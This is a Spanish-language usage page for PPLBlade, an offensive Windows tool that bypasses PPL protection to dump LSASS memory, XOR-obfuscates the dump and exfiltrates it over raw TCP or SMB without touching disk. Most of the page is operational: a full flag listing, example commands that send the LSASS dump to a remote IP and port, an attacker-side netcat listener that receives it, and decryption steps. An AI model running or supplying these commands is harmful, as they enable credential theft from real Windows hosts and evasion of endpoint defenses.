
Bypassa la protección PPL para realizar un volcado de la memoria del proceso LSASS, ofusca los archivos de volcado con XOR, y los exfiltra de forma remota mediante RAW o SMB sin escribir en disco.
Herramienta de volcado de procesos protegidos que soporta la ofuscación del volcado de memoria y su transferencia a estaciones de trabajo remotas sin guardarlo en el disco.
Funcionalidades clave:
Una visión general de las técnicas utilizadas en esta herramienta se puede encontrar aquí: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6
Tenga en cuenta que PROCEXP15.SYS aparece en los archivos fuente para fines de compilación. No es necesario transferirlo a la máquina objetivo junto con PPLBlade.exe.
Ya está incrustado en PPLBlade.exe. El exploit es un solo ejecutable.
Modos:
Modos de identificador:
Usage of PPLBlade.exe:
-driver string
Path where the driver file will be dropped (default: current directory)
-dumpmode string
Dump mode [local|network] (default "local")
-dumpname string
Name of the dump file (default "PPLBlade.dmp")
-handle string
Method to obtain target process handle [direct|procexp] (default "direct")
-help
Prints this help message
-ip string
IP of the remote server
-key string
XOR Key for obfuscation (default "PPLBlade")
-mode string
Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
-name string
Process name of target process
-network string
Method for network transfer[raw|smb] (default "raw")
-obfuscate
Obfuscate dump file
-pass string
SMB password
-pid int
PID of target process (prioritized over process name)
-port int
PORT on the remote server
-quiet
Quiet mode
-service string
Name of the service (default "PPLBlade")
-share string
share name
-user string
SMB username
Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup
Ejemplos:
PoC básico que utiliza PROCEXP152.sys para volcar lsass:
PPLBlade.exe --mode dothatlsassthing
(Tenga en cuenta que no aplica XOR al archivo de volcado, proporcione el indicador adicional --obfuscate para habilitar la funcionalidad XOR)
Subir el volcado ofuscado de LSASS a una ubicación remota:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
Anfitrión atacante:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
Desofuscar volcado de memoria:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade